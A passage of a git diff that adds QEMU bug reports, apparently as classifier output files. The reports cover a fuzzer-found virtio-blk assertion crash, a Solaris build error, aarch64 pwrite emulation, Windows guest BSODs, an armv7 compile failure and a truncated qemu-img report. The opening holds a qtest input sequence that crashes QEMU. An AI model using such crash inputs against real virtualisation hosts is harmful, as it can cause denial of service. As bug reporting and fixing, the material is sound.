29575@1596590112.076459:virtio_queue_notify vdev 0x62d000030590 n 0 vq 0x7f9b93fc9800 +> 29575@1596590112.076642:virtio_blk_handle_read vdev 0x62d000030590 req 0x611000043e80 sector 0 nsectors 0 +> 29575@1596590112.076651:virtio_blk_req_complete vdev 0x62d000030590 req 0x611000043e80 status 1 +> qemu-system-i386: /home/alxndr/Development/qemu/general-fuzz/exec.c:3623: void address_space_unmap(AddressSpace *, void *, hwaddr, _Bool, hwaddr): Assertion `mr != NULL' failed. +> +> +> -Alex +> +> ** Affects: qemu +> Importance: Undecided +> Status: New +> +> -- +> You received this bug notification because you are a member of qemu- +> devel-ml, which is subscribed to QEMU. +> https://bugs.launchpad.net/bugs/1890360 +> +> Title: +> Assertion failure in address_space_unmap through virtio-blk +> +> Status in QEMU: +> New +> +> Bug description: +> Hello, +> Reproducer: +> cat << EOF | ./i386-softmmu/qemu-system-i386 \ +> -drive id=mydrive,file=null-co://,size=2M,format=raw,if=none \ +> -device virtio-blk,drive=mydrive \ +> -nodefaults -nographic -qtest stdio +> outl 0xcf8 0x80001010 +> outl 0xcfc 0xc001 +> outl 0xcf8 0x80001014 +> outl 0xcf8 0x80001004 +> outw 0xcfc 0x7 +> outl 0xc006 0x3aff9090 +> outl 0xcf8 0x8000100e +> outl 0xcfc 0x41005e1e +> write 0x3b00002 0x1 0x5e +> write 0x3b00004 0x1 0x5e +> write 0x3aff5e6 0x1 0x11 +> write 0x3aff5eb 0x1 0xc6 +> write 0x3aff5ec 0x1 0xc6 +> write 0x7 0x1 0xff +> write 0x8 0x1 0xfb +> write 0xc 0x1 0x11 +> write 0xe 0x1 0x5e +> write 0x5e8 0x1 0x11 +> write 0x5ec 0x1 0xc6 +> outl 0x410e 0x10e +> EOF +> +> +> qemu-fuzz-i386: /exec.c:3623: void address_space_unmap(AddressSpace *, void *, hwaddr, _Bool, hwaddr): Assertion `mr != NULL' failed. +> ==789== ERROR: libFuzzer: deadly signal +> #8 in __assert_fail /build/glibc-GwnBeO/glibc-2.30/assert/assert.c:101:3 +> #9 in address_space_unmap /exec.c:3623:9 +> #10 in dma_memory_unmap /include/sysemu/dma.h:145:5 +> #11 in virtqueue_unmap_sg /hw/virtio/virtio.c:690:9 +> #12 in virtqueue_fill /hw/virtio/virtio.c:843:5 +> #13 in virtqueue_push /hw/virtio/virtio.c:917:5 +> #14 in virtio_blk_req_complete /hw/block/virtio-blk.c:83:5 +> #15 in virtio_blk_handle_request /hw/block/virtio-blk.c:671:13 +> #16 in virtio_blk_handle_vq /hw/block/virtio-blk.c:780:17 +> #17 in virtio_queue_notify_aio_vq /hw/virtio/virtio.c:2324:15 +> #18 in virtio_queue_host_notifier_aio_read /hw/virtio/virtio.c:3495:9 +> #19 in aio_dispatch_handler /util/aio-posix.c:328:9 +> #20 in aio_dispatch_handlers /util/aio-posix.c:371:20 +> #21 in aio_dispatch /util/aio-posix.c:381:5 +> #22 in aio_ctx_dispatch /util/async.c:306:5 +> #23 in g_main_context_dispatch +> +> +> With -trace virtio\* +> +> ... +> [S +0.099667] OK +> [R +0.099681] write 0x5ec 0x1 0xc6 +> OK +> [S +0.099690] OK +> [R +0.099700] outl 0x410e 0x10e +> 29575@1596590112.074339:virtio_queue_notify vdev 0x62d000030590 n 0 vq 0x7f9b93fc9800 +> 29575@1596590112.074423:virtio_blk_data_plane_start dataplane 0x60600000f260 +> OK +> [S +0.099833] OK +> 29575@1596590112.076459:virtio_queue_notify vdev 0x62d000030590 n 0 vq 0x7f9b93fc9800 +> 29575@1596590112.076642:virtio_blk_handle_read vdev 0x62d000030590 req 0x611000043e80 sector 0 nsectors 0 +> 29575@1596590112.076651:virtio_blk_req_complete vdev 0x62d000030590 req 0x611000043e80 status 1 +> qemu-system-i386: /home/alxndr/Development/qemu/general-fuzz/exec.c:3623: void address_space_unmap(AddressSpace *, void *, hwaddr, _Bool, hwaddr): Assertion `mr != NULL' failed. +> +> +> -Alex +> +> To manage notifications about this bug go to: +> https://bugs.launchpad.net/qemu/+bug/1890360/+subscriptions +> + + +Fix: + +commit 7bd04a041addcdef6a03e6498aafaea55ca6e88b +Author: Stefan Hajnoczi <email address hidden> +Date: Thu Sep 17 10:44:54 2020 +0100 + + virtio-blk: undo destructive iov_discard_*() operations + +Released with QEMU v5.2.0. + diff --git a/results/classifier/deepseek-1/output/successfully./1787012 b/results/classifier/deepseek-1/output/successfully./1787012 new file mode 100644 index 00000000..55f774a4 --- /dev/null +++ b/results/classifier/deepseek-1/output/successfully./1787012 @@ -0,0 +1,169 @@ + +Solaris build error: Bad string + +While building qemu2.12.0 on a Sun Oracle Enterprise M3000 SPARC64 VII running Solaris 10U11, opencsw toolchain, gcc 7.3.0, and python 3.3.6 I get: + +# gmake +mkdir -p dtc/libfdt +mkdir -p dtc/tests +Bad string + DEP /export/home/denber/qemu-2.12.0/dtc/tests/dumptrees.c + DEP /export/home/denber/qemu-2.12.0/dtc/tests/trees.S + DEP /export/home/denber/qemu-2.12.0/dtc/tests/testutils.c + DEP /export/home/denber/qemu-2.12.0/dtc/tests/value-labels.c + DEP /export/home/denber/qemu-2.12.0/dtc/tests/asm_tree_dump.c + DEP /export/home/denber/qemu-2.12.0/dtc/tests/truncated_property.c + DEP /export/home/denber/qemu-2.12.0/dtc/tests/check_path.c + DEP /export/home/denber/qemu-2.12.0/dtc/tests/overlay_bad_fixup.c + DEP /export/home/denber/qemu-2.12.0/dtc/tests/overlay.c + DEP /export/home/denber/qemu-2.12.0/dtc/tests/subnode_iterate.c + DEP /export/home/denber/qemu-2.12.0/dtc/tests/property_iterate.c + DEP /export/home/denber/qemu-2.12.0/dtc/tests/integer-expressions.c + DEP /export/home/denber/qemu-2.12.0/dtc/tests/utilfdt_test.c + DEP /export/home/denber/qemu-2.12.0/dtc/tests/path_offset_aliases.c + DEP /export/home/denber/qemu-2.12.0/dtc/tests/add_subnode_with_nops.c + DEP /export/home/denber/qemu-2.12.0/dtc/tests/dtbs_equal_unordered.c + DEP /export/home/denber/qemu-2.12.0/dtc/tests/dtb_reverse.c + DEP /export/home/denber/qemu-2.12.0/dtc/tests/dtbs_equal_ordered.c + DEP /export/home/denber/qemu-2.12.0/dtc/tests/extra-terminating-null.c + DEP /export/home/denber/qemu-2.12.0/dtc/tests/incbin.c + DEP /export/home/denber/qemu-2.12.0/dtc/tests/boot-cpuid.c + DEP /export/home/denber/qemu-2.12.0/dtc/tests/phandle_format.c + DEP /export/home/denber/qemu-2.12.0/dtc/tests/path-references.c + DEP /export/home/denber/qemu-2.12.0/dtc/tests/references.c + DEP /export/home/denber/qemu-2.12.0/dtc/tests/string_escapes.c + DEP /export/home/denber/qemu-2.12.0/dtc/tests/propname_escapes.c + DEP /export/home/denber/qemu-2.12.0/dtc/tests/appendprop2.c + DEP /export/home/denber/qemu-2.12.0/dtc/tests/appendprop1.c + DEP /export/home/denber/qemu-2.12.0/dtc/tests/del_node.c + DEP /export/home/denber/qemu-2.12.0/dtc/tests/del_property.c + DEP /export/home/denber/qemu-2.12.0/dtc/tests/setprop.c + DEP /export/home/denber/qemu-2.12.0/dtc/tests/set_name.c + DEP /export/home/denber/qemu-2.12.0/dtc/tests/rw_tree1.c + DEP /export/home/denber/qemu-2.12.0/dtc/tests/open_pack.c + DEP /export/home/denber/qemu-2.12.0/dtc/tests/nopulate.c + DEP /export/home/denber/qemu-2.12.0/dtc/tests/mangle-layout.c + DEP /export/home/denber/qemu-2.12.0/dtc/tests/move_and_save.c + DEP /export/home/denber/qemu-2.12.0/dtc/tests/sw_tree1.c + DEP /export/home/denber/qemu-2.12.0/dtc/tests/nop_node.c + DEP /export/home/denber/qemu-2.12.0/dtc/tests/nop_property.c + DEP /export/home/denber/qemu-2.12.0/dtc/tests/setprop_inplace.c + DEP /export/home/denber/qemu-2.12.0/dtc/tests/stringlist.c + DEP /export/home/denber/qemu-2.12.0/dtc/tests/addr_size_cells.c + DEP /export/home/denber/qemu-2.12.0/dtc/tests/notfound.c + DEP /export/home/denber/qemu-2.12.0/dtc/tests/sized_cells.c + DEP /export/home/denber/qemu-2.12.0/dtc/tests/char_literal.c + DEP /export/home/denber/qemu-2.12.0/dtc/tests/get_alias.c + DEP /export/home/denber/qemu-2.12.0/dtc/tests/node_offset_by_compatible.c DEP /export/home/denber/qemu-2.12.0/dtc/tests/node_check_compatible.c + DEP /export/home/denber/qemu-2.12.0/dtc/tests/node_offset_by_phandle.c + DEP /export/home/denber/qemu-2.12.0/dtc/tests/node_offset_by_prop_value.c DEP /export/home/denber/qemu-2.12.0/dtc/tests/parent_offset.c + DEP /export/home/denber/qemu-2.12.0/dtc/tests/supernode_atdepth_offset.c + DEP /export/home/denber/qemu-2.12.0/dtc/tests/get_path.c + DEP /export/home/denber/qemu-2.12.0/dtc/tests/get_phandle.c + DEP /export/home/denber/qemu-2.12.0/dtc/tests/getprop.c + DEP /export/home/denber/qemu-2.12.0/dtc/tests/get_name.c + DEP /export/home/denber/qemu-2.12.0/dtc/tests/path_offset.c + DEP /export/home/denber/qemu-2.12.0/dtc/tests/subnode_offset.c + DEP /export/home/denber/qemu-2.12.0/dtc/tests/find_property.c + DEP /export/home/denber/qemu-2.12.0/dtc/tests/root_node.c + DEP /export/home/denber/qemu-2.12.0/dtc/tests/get_mem_rsv.c + DEP /export/home/denber/qemu-2.12.0/dtc/libfdt/fdt_overlay.c + DEP /export/home/denber/qemu-2.12.0/dtc/libfdt/fdt_addresses.c + DEP /export/home/denber/qemu-2.12.0/dtc/libfdt/fdt_empty_tree.c + DEP /export/home/denber/qemu-2.12.0/dtc/libfdt/fdt_strerror.c + DEP /export/home/denber/qemu-2.12.0/dtc/libfdt/fdt_rw.c + DEP /export/home/denber/qemu-2.12.0/dtc/libfdt/fdt_sw.c + DEP /export/home/denber/qemu-2.12.0/dtc/libfdt/fdt_wip.c + DEP /export/home/denber/qemu-2.12.0/dtc/libfdt/fdt_ro.c + DEP /export/home/denber/qemu-2.12.0/dtc/libfdt/fdt.c + DEP /export/home/denber/qemu-2.12.0/dtc/util.c + DEP /export/home/denber/qemu-2.12.0/dtc/fdtoverlay.c + DEP /export/home/denber/qemu-2.12.0/dtc/fdtput.c + DEP /export/home/denber/qemu-2.12.0/dtc/fdtget.c + DEP /export/home/denber/qemu-2.12.0/dtc/fdtdump.c + DEP convert-dtsv0-lexer.lex.c + DEP /export/home/denber/qemu-2.12.0/dtc/srcpos.c + DEP dtc-parser.tab.c + DEP dtc-lexer.lex.c + DEP /export/home/denber/qemu-2.12.0/dtc/treesource.c + DEP /export/home/denber/qemu-2.12.0/dtc/livetree.c + DEP /export/home/denber/qemu-2.12.0/dtc/fstree.c + DEP /export/home/denber/qemu-2.12.0/dtc/flattree.c + DEP /export/home/denber/qemu-2.12.0/dtc/dtc.c + DEP /export/home/denber/qemu-2.12.0/dtc/data.c + DEP /export/home/denber/qemu-2.12.0/dtc/checks.c +Bad string + CC libfdt/fdt.o + CC libfdt/fdt_ro.o + CC libfdt/fdt_wip.o + CC libfdt/fdt_sw.o + CC libfdt/fdt_rw.o + CC libfdt/fdt_strerror.o + CC libfdt/fdt_empty_tree.o + CC libfdt/fdt_addresses.o + CC libfdt/fdt_overlay.o + AR libfdt/libfdt.a +a - libfdt/fdt.o +a - libfdt/fdt_ro.o +a - libfdt/fdt_wip.o +a - libfdt/fdt_sw.o +a - libfdt/fdt_rw.o +a - libfdt/fdt_strerror.o +a - libfdt/fdt_empty_tree.o +a - libfdt/fdt_addresses.o +a - libfdt/fdt_overlay.o +ar: creating libfdt/libfdt.a +ar: writing libfdt/libfdt.a +... + +gmake then completes, returning just a "#" prompt and no error messages. However, no executable is created. Apparently, "Bad string" is the problem, but it is unclear what that means and where the two instances of it are coming from. A web search for this problem returned nothing. + +[Solved] + +There's nothing like going public with a problem to find the answer yourself shortly after. In case it helps someone else in the future, it turns out that the Makefile in dtc/ contains the following line: + +HOSTOS := $(shell uname -s | tr '[:upper:]' '[:lower:]' | \ + sed -e 's/\(cygwin\|msys\).*/\1/') + +Apparently there's something in there that gmake doesn't like which causes it to emit "Bad string" so I just replaced that line with: + +HOSTOS=SunOS + +(a call to uname -s from the command line returns SunOS) and I'm no longer getting the "Bad string" from gmake. (I'm getting soemthing else now but that's a different matter). + +Oh, and how I found this. From http://lists.xymon.com/archive/2012-July/035109.html: + +> Sorry to reply to myself. Looks like this line: +> +> uname -s | tr '[/]' '[_]' +> +> ...is not acceptable to /usr/bin/tr on Solaris 10. It worked fine +> on 9. On 10, one receives this error: +> +> # uname -s | tr '[/]' '[_]' Bad string + +And indeed I get: + +# uname -s | tr '[/]' '[_]' +Bad string +# + +So this is a bug in the Makefile, but only for Solaris 10. + + +It sounds more like a bug / limited featureset in the Solaris 'tr' binary. + +What is your $PATH ? Make sure /usr/xpg4/bin directory appears *before* /usr/bin in $PATH to get a more functional version of 'tr', though I'm not sure if that'll fix it or not. + +You are absolutely correct. I found the right problem but the wrong reason. Note that: + +# which tr +/usr/bin/tr +# uname -s | tr '[/]' '[_]' +Bad string +# uname -s | /usr/xpg4/bin/tr '[/]' '[_]' +SunOS +# + +So it's just another POSIX problem with Solaris, not a bug. Solaris provides all the POSIX stuff, it just doesn't make it the default. + diff --git a/results/classifier/deepseek-1/output/syscall/1810433 b/results/classifier/deepseek-1/output/syscall/1810433 new file mode 100644 index 00000000..c5313b8a --- /dev/null +++ b/results/classifier/deepseek-1/output/syscall/1810433 @@ -0,0 +1,171 @@ + +aarch64-linux-user master: inconsistent pwrite behaviour + +Hello, + +I am running aarch64-linux-user from master, commit 20d6c7312f1b812bb9c750f4087f69ac8485cc90 + +And I've found the following inconsistent emulation of pwrite() call when buf==NULL and len=0. +Minimal reproducible sample is the following: + +#define _GNU_SOURCE +#include <stdlib.h> +#include <stdio.h> +#include <unistd.h> +#include <sys/types.h> +#include <sys/stat.h> +#include <fcntl.h> +#include <string.h> + +/* + System | Result +-------------------------+---------------- + Native x86_64 4.12.14 | pwrite ret = 0 + Native aarch64 4.4.159 | pwrite ret = 0 + qemu-aarch64 at x86_64 | pwrite ret = -1 + ( 20d6c7312f1b8 ) | +*/ + +int main(int argc, char** argv) { + int fd = open("test.dat", O_CREAT | O_RDWR, 0644); + if (fd < 0) { + perror("open"); + return 1; + } + + int ret = fallocate(fd, 0, 0, 1000); + if (ret < 0) { + perror("fallocate"); + return 1; + } + + ssize_t ret_pwrite = pwrite(fd, NULL, 0, 0); + printf("pwrite ret = %ld\n", ret_pwrite); + + close(fd); + + return 0; +} + + + + + +This seems related to commit 58cfa6c2e6eb51b23cc98f8, where this was fixed for the write() syscall. In that commit message the author writes "Q. Do pread64/pwrite64 need to be changed similarly? A. Experiment suggests not: both linux and linux-user yield -1 for NULL 0-length reads/writes." That doesn't match your results, though, and looking at the source both write and pwrite syscalls go through the vfs_write() function, so their behaviour for a NULL/0 buffer should be identical. + + +strace from an aarch64 machine: +pwrite64(3, NULL, 0, 0) = 0 + +strace from QEMU: +32029 pwrite64(3,0,0,0,4797560,0) = -1 errno=14 (Bad address) + + +Do you know how to fix it? + +It should be a patch pretty similar to commit 58cfa6c2e6eb51b23cc98f8, but in the pwrite64 codepath. Slightly complicated by needing to deal with the offset possibly being in two input arguments, but basically the same thing. + + +It would be great if you could fix it. + +Also, there are probably should exist POSIX conformance test suites around the world. As far as I understand, this particular issue could be found by running such a test under qemu-linux-user. I mean what if there are other similar issues? + +We run the Linux Test Project LTP test suite. However I think it may not cover this corner case. (It's also possible I missed it last time I went through our failure results -- it's a lot of analysis effort to disentangle "QEMU bug" from "QEMU missing feature that's impracticably hard to implement" from "test case bug", and sometimes tests roll up multiple tests into a single test binary that include things from several of those cases, which means that it's harder to notice when something that should have passed did not.) + + +I've also check qemu-arm with the same test code. Surprisingly, I see correct result: + +pwrite ret = 0 + + +Proposed patch at https://patchwork.ozlabs.org/patch/1022092/ + +NB: my guess is that your pwrite on 32-bit arm test is behaving like that because it isn't going via the pwrite64 syscall, or possibly because glibc there is dealing with the NULL special case early. Use QEMU's -strace argument (or strace on real h/w) to see what libc is actually turning that pwrite() function call into at the syscall level. + + +Commit now in QEMU master as 2bd3f8998e1e7dcd9afc29fab25. This will be in the next release: QEMU 4.0. + + +Thank you! + +пт, 18 янв. 2019 г. в 19:36, Peter Maydell <email address hidden>: +> +> Commit now in QEMU master as 2bd3f8998e1e7dcd9afc29fab25. This will be +> in the next release: QEMU 4.0. +> +> +> ** Changed in: qemu +> Status: In Progress => Fix Committed +> +> -- +> You received this bug notification because you are subscribed to the bug +> report. +> https://bugs.launchpad.net/bugs/1810433 +> +> Title: +> aarch64-linux-user master: inconsistent pwrite behaviour +> +> Status in QEMU: +> Fix Committed +> +> Bug description: +> Hello, +> +> I am running aarch64-linux-user from master, commit +> 20d6c7312f1b812bb9c750f4087f69ac8485cc90 +> +> And I've found the following inconsistent emulation of pwrite() call when buf==NULL and len=0. +> Minimal reproducible sample is the following: +> +> #define _GNU_SOURCE +> #include <stdlib.h> +> #include <stdio.h> +> #include <unistd.h> +> #include <sys/types.h> +> #include <sys/stat.h> +> #include <fcntl.h> +> #include <string.h> +> +> /* +> System | Result +> -------------------------+---------------- +> Native x86_64 4.12.14 | pwrite ret = 0 +> Native aarch64 4.4.159 | pwrite ret = 0 +> qemu-aarch64 at x86_64 | pwrite ret = -1 +> ( 20d6c7312f1b8 ) | +> */ +> +> int main(int argc, char** argv) { +> int fd = open("test.dat", O_CREAT | O_RDWR, 0644); +> if (fd < 0) { +> perror("open"); +> return 1; +> } +> +> int ret = fallocate(fd, 0, 0, 1000); +> if (ret < 0) { +> perror("fallocate"); +> return 1; +> } +> +> ssize_t ret_pwrite = pwrite(fd, NULL, 0, 0); +> printf("pwrite ret = %ld\n", ret_pwrite); +> +> close(fd); +> +> return 0; +> } +> +> +> Please note, that the same binary executable prints different output at native aarch64 platform and under aarch64-linux-user +> +> To manage notifications about this bug go to: +> https://bugs.launchpad.net/qemu/+bug/1810433/+subscriptions + + + +-- +With best regards, +Matwey V. Kornilov + + diff --git a/results/classifier/deepseek-1/output/system./1014681 b/results/classifier/deepseek-1/output/system./1014681 new file mode 100644 index 00000000..1f3b2c12 --- /dev/null +++ b/results/classifier/deepseek-1/output/system./1014681 @@ -0,0 +1,108 @@ + +BSOD with newer host kernels (x64) and W2k8S guest (x64) + +Hallo, I attempted to move virtual machines from one host to another but got stuck with Windows-BSODs on the target host. The host-side console message is "virtio_ioport_write: unexpected address 0x13 value 0x1". Eventually there are overlaps to bug #990364, but I'm not sure. + +Host machine: 2x Opteron 4238 a 6 cores, 32GB RAM, Linux x86_64 +Guest machine(s): Windows 2008 Server R2 x64 + +I tried different combinations of component versions, but only kernel 2.6.34 could run the guests (but has other difficulties): + +host kernel Qemu-KVM paravirtualization guest paravirt driver +============================================= +2.6.34 1.0.1 virtio 0.1.15 ok + 0.1.22 ok + 0.1.prewhql ok + git 20120615 virtio 0.1.15 ok + 0.1.22 ok + 0.1.prewhql ok +============================================= +2.6.39 1.0.1 virtio 0.1.15 BSOD + git 20120615 virtio 0.1.15 BSOD +3.0.3 1.0.1 virtio 0.1.15 BSOD + git 20120615 virtio 0.1.15 BSOD +3.3.8 1.0.1 virtio 0.1.15 BSOD + git 20120615 virtio 0.1.15 BSOD + virtio-pci 0.1.15 BSOD +3.4.2 1.0.1 virtio 0.1.15 BSOD + 0.1.prewhql BSOD + virtio-pci 0.1.15 BSOD + git 20120615 virtio 0.1.15 BSOD + 0.1.prewhql BSOD + virtio-pci 0.1.15 BSOD +============================================= + +Run arguments are attached. Minidump follows immediately. + + + + + + + +"virtio_ioport_write: unexpected address 0x13 value 0x1" indicates that you got a BSOD. + +Could you try switching from virtio to e1000, and ide and check if you still getting +DRIVER_CORRUPTED_EXPOOL (c5) bug check error? + +Vadim. + +With e1000 and ide I also get BSOD (tried this already), but I don't have a matching dump by hand at the moment. I will "produce" and provide a dump till tomorrow morning (germany). + +Arndt + + + +Does it always crash with the same bug check code? + + +Most (by far) crashes end with the same bug check code: + +Loading Dump File [\\Lw\arndt\Kanzlei\Mini061612-01.dmp] +BugCheck 3B, {80000003, fffff800016a6700, fffffa6002c89e60, 0} +Probably caused by : afd.sys ( afd!AfdIssueDeviceControl+18f ) +--------- +Loading Dump File [\\Lw\arndt\Kanzlei\Mini061612-02.dmp] +BugCheck 3B, {80000003, fffff800016b5700, fffffa6002715fa0, 0} +--------- +Loading Dump File [\\Lw\arndt\Kanzlei\Mini061612-03.dmp] +BugCheck 3B, {80000003, fffff8000165e700, fffffa60032a3fa0, 0} +--------- +Loading Dump File [\\Lw\arndt\Kanzlei\Mini061612-04.dmp] +BugCheck 50, {fffffa6000000000, 1, fffff80001615261, 0} +Could not read faulting driver name +Probably caused by : ntkrnlmp.exe ( nt! ?? ::FNODOBFM::`string'+5d2c ) +--------- +Loading Dump File [\\Lw\arndt\Kanzlei\Mini061612-05.dmp] +BugCheck 3B, {80000003, fffff800016b4700, fffffa6001fc5f00, 0} +--------- +Loading Dump File [\\Lw\arndt\Kanzlei\Mini061612-06.dmp] +BugCheck 3B, {80000003, fffff8000165f700, fffffa6001d95fa0, 0} +--------- +Loading Dump File [\\Lw\arndt\Kanzlei\Mini061612-07.dmp] +BugCheck 3B, {80000003, fffff800016b8700, fffffa600316ffa0, 0} +--------- +Loading Dump File [\\Lw\arndt\Kanzlei\Mini061612-08.dmp] +BugCheck 3B, {80000003, fffff800016b5700, fffffa600292ca10, 0} +--------- +Loading Dump File [\\Lw\arndt\Kanzlei\Mini061612-09.dmp] +BugCheck 3B, {80000003, fffff8000166b700, fffffa6001c1afa0, 0} +--------- +Loading Dump File [\\Lw\arndt\Kanzlei\Mini061612-10.dmp] +BugCheck 1000007E, {ffffffffc0000005, fffff800016f2e7d, fffffa6001970858, fffffa6001970230} +Probably caused by : ntkrnlmp.exe ( nt!KiUnwaitThread+19 ) +--------- +Loading Dump File [\\Lw\arndt\Kanzlei\Mini061612-11.dmp] +BugCheck 3B, {80000003, fffff80001656700, fffffa60032befa0, 0} + + +Could you try booting in safe mode with and without networking? + +Booting in safe mode works, but only without networking. + +Is there any hope to get this fixed in the near future or probably not? + +Which version of QEMU have you been using here? Can you still reproduce this with the latest version of QEMU (version 2.9)? + +Sorry, but I have moved to ESXI more than 4 years ago. + diff --git a/results/classifier/deepseek-1/output/system./1545024 b/results/classifier/deepseek-1/output/system./1545024 new file mode 100644 index 00000000..7997e93a --- /dev/null +++ b/results/classifier/deepseek-1/output/system./1545024 @@ -0,0 +1,209 @@ + +compiling on armv7 crashes compile qlx.o + +If i try to compile qemu on armv7 cpu i get this error: + + LINK qemu-nbd + CC qemu-img.o + LINK qemu-img + LINK qemu-io + LINK qemu-bridge-helper + CC qmp-marshal.o + CC hw/display/qxl.o +{standard input}: Assembler messages: +{standard input}:1704: Error: bad instruction `lock' +{standard input}:1704: Error: bad instruction `addl $0,0(%rsp)' +{standard input}:1864: Error: bad instruction `lock' +{standard input}:1864: Error: bad instruction `addl $0,0(%rsp)' +{standard input}:5239: Error: bad instruction `lock' +{standard input}:5239: Error: bad instruction `addl $0,0(%rsp)' +{standard input}:5731: Error: bad instruction `lock' +{standard input}:5731: Error: bad instruction `addl $0,0(%rsp)' +{standard input}:11923: Error: bad instruction `lock' +{standard input}:11923: Error: bad instruction `addl $0,0(%rsp)' +{standard input}:13960: Error: bad instruction `lock' +{standard input}:13960: Error: bad instruction `addl $0,0(%rsp)' +{standard input}:14349: Error: bad instruction `lock' +{standard input}:14349: Error: bad instruction `addl $0,0(%rsp)' +/home/fleixi/git/qemu/rules.mak:57: recipe for target 'hw/display/qxl.o' failed +make: *** [hw/display/qxl.o] Error 1 + +Build options are: + + ./configure --target-list=i386-softmmu +Install prefix /usr/local +BIOS directory /usr/local/share/qemu +binary directory /usr/local/bin +library directory /usr/local/lib +module directory /usr/local/lib/qemu +libexec directory /usr/local/libexec +include directory /usr/local/include +config directory /usr/local/etc +local state directory /usr/local/var +Manual directory /usr/local/share/man +ELF interp prefix /usr/gnemul/qemu-%M +Source path /home/fleixi/git/qemu +C compiler cc +Host C compiler cc +C++ compiler c++ +Objective-C compiler cc +ARFLAGS rv +CFLAGS -O2 -U_FORTIFY_SOURCE -D_FORTIFY_SOURCE=2 -pthread -I/usr/include/glib-2.0 -I/usr/lib/arm-linux-gnueabihf/glib-2.0/include -g -mcpu=cortex-a15.cortex-a7 -mfloat-abi=hard -mfpu=neon-vfpv4 -O2 -pipe -ffast-math -ftree-vectorize -mvectorize-with-neon-quad -fstack-protector --param=ssp-buffer-size=4 +QEMU_CFLAGS -I/usr/include/pixman-1 -Werror -D_GNU_SOURCE -D_FILE_OFFSET_BITS=64 -D_LARGEFILE_SOURCE -Wstrict-prototypes -Wredundant-decls -Wall -Wundef -Wwrite-strings -Wmissing-prototypes -fno-strict-aliasing -fno-common -Wendif-labels -Wmissing-include-dirs -Wempty-body -Wnested-externs -Wformat-security -Wformat-y2k -Winit-self -Wignored-qualifiers -Wold-style-declaration -Wold-style-definition -Wtype-limits -fstack-protector-strong -I/usr/include/libpng12 -I/usr/local/include/spice-server -I/usr/local/include -I/usr/local/include/spice-1 -I/usr/include/glib-2.0 -I/usr/lib/arm-linux-gnueabihf/glib-2.0/include -I/usr/include/pixman-1 +LDFLAGS -Wl,--warn-common -g +make make +install install +python python -B +smbd /usr/sbin/smbd +module support no +host CPU arm +host big endian no +target list i386-softmmu +tcg debug enabled no +gprof enabled no +sparse enabled no +strip binaries yes +profiler no +static build no +pixman system +SDL support no +GTK support yes +GTK GL support no +GNUTLS support no +GNUTLS hash no +libgcrypt no +nettle no +libtasn1 no +VTE support no +curses support no +virgl support no +curl support yes +mingw32 support no +Audio drivers oss +Block whitelist (rw) +Block whitelist (ro) +VirtFS support no +VNC support yes +VNC SASL support yes +VNC JPEG support yes +VNC PNG support yes +xen support no +brlapi support no +bluez support yes +Documentation no +PIE no +vde support no +netmap support no +Linux AIO support no +ATTR/XATTR support yes +Install blobs yes +KVM support yes +RDMA support no +TCG interpreter no +fdt support no +preadv support yes +fdatasync yes +madvise yes +posix_madvise yes +sigev_thread_id yes +uuid support no +libcap-ng support no +vhost-net support yes +vhost-scsi support yes +Trace backends log +spice support yes (0.12.10/0.12.6) +rbd support no +xfsctl support no +smartcard support no +libusb no +usb net redir no +OpenGL support no +libiscsi support no +libnfs support no +build guest agent yes +QGA VSS support no +QGA w32 disk info no +QGA MSI support no +seccomp support no +coroutine backend ucontext +coroutine pool yes +GlusterFS support no +Archipelago support no +gcov gcov +gcov enabled no +TPM support yes +libssh2 support no +TPM passthrough no +QOM debugging yes +vhdx no +lzo support no +snappy support no +bzip2 support yes +NUMA host support no +tcmalloc support no +jemalloc support no + +testet with qemu-git branch stable-2.4 and git master + +Shoulded the configure detecting "bigendian" too? + +On 12 February 2016 at 15:13, Klaftenegger Felix +<email address hidden> wrote: +> Public bug reported: +> +> If i try to compile qemu on armv7 cpu i get this error: +> +> LINK qemu-nbd +> CC qemu-img.o +> LINK qemu-img +> LINK qemu-io +> LINK qemu-bridge-helper +> CC qmp-marshal.o +> CC hw/display/qxl.o +> {standard input}: Assembler messages: +> {standard input}:1704: Error: bad instruction `lock' +> {standard input}:1704: Error: bad instruction `addl $0,0(%rsp)' +> {standard input}:1864: Error: bad instruction `lock' +> {standard input}:1864: Error: bad instruction `addl $0,0(%rsp)' +> {standard input}:5239: Error: bad instruction `lock' +> {standard input}:5239: Error: bad instruction `addl $0,0(%rsp)' +> {standard input}:5731: Error: bad instruction `lock' +> {standard input}:5731: Error: bad instruction `addl $0,0(%rsp)' +> {standard input}:11923: Error: bad instruction `lock' +> {standard input}:11923: Error: bad instruction `addl $0,0(%rsp)' +> {standard input}:13960: Error: bad instruction `lock' +> {standard input}:13960: Error: bad instruction `addl $0,0(%rsp)' +> {standard input}:14349: Error: bad instruction `lock' +> {standard input}:14349: Error: bad instruction `addl $0,0(%rsp)' +> /home/fleixi/git/qemu/rules.mak:57: recipe for target 'hw/display/qxl.o' failed +> make: *** [hw/display/qxl.o] Error 1 + +Looks like we're picking up the x86 implementations of the atomic.h +smp_mb() somehow. That's odd because it shouldn't happen unless +something has managed to #define __i386__ somehow. + +What host platform (OS, hardware) are you building on? What version is your +compiler? + +> Shoulded the configure detecting "bigendian" too? + +Why should it? ARM is little endian. + +thanks +-- PMM + + +i have tried gcc4.9 and gcc4.8. both creating this error + +im using debian 8(jessie) and the host is a odroid-xu4 (http://www.hardkernel.com/main/products/prdt_info.php?g_code=G143452239825&tab_idx=2) + +spice and spice-platform are build from the last stable the other dependecies are from the debian repo + +bigendian: i have mixed older arm versions in my mind your right + +if i try to compile with target-list=i386-linux-user it is working so the problem must the target i386-softmmu + +Looking through old bug tickets... can you still reproduce this issue with the latest version of QEMU? Or could we close this ticket nowadays? + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/system./1776920 b/results/classifier/deepseek-1/output/system./1776920 new file mode 100644 index 00000000..b050ec91 --- /dev/null +++ b/results/classifier/deepseek-1/output/system./1776920 @@ -0,0 +1,458 @@ + +qemu-img convert on Mac OSX creates corrupt images + +An image created by qemu-img create, then modified by another program is converted to bad/corrupt image when using convert sub command on Mac OSX. The same convert works on Linux. The version of qemu-img is 2.12. + +Can this be done with like a 1M example file that you could copy off in all stages. + +Provide the commands you use like +1. create +2. do ?? +3. convert + +Then for Mac and Linux you'd have M1/M2/M3 L1/L2/L3 files that can all be attached here to be evaluated for what might be broken. + +IMHO In the current state there is neither enough data for good debugging, not enough steps to reproduce what exactly you faced. + +I will provide all necessary info. Unfortunately the smallest image I can +provide is around 10M. + +What is M1/M2/M3 L1/L2/L3 file? + +Waldek + +On Thu, Jun 14, 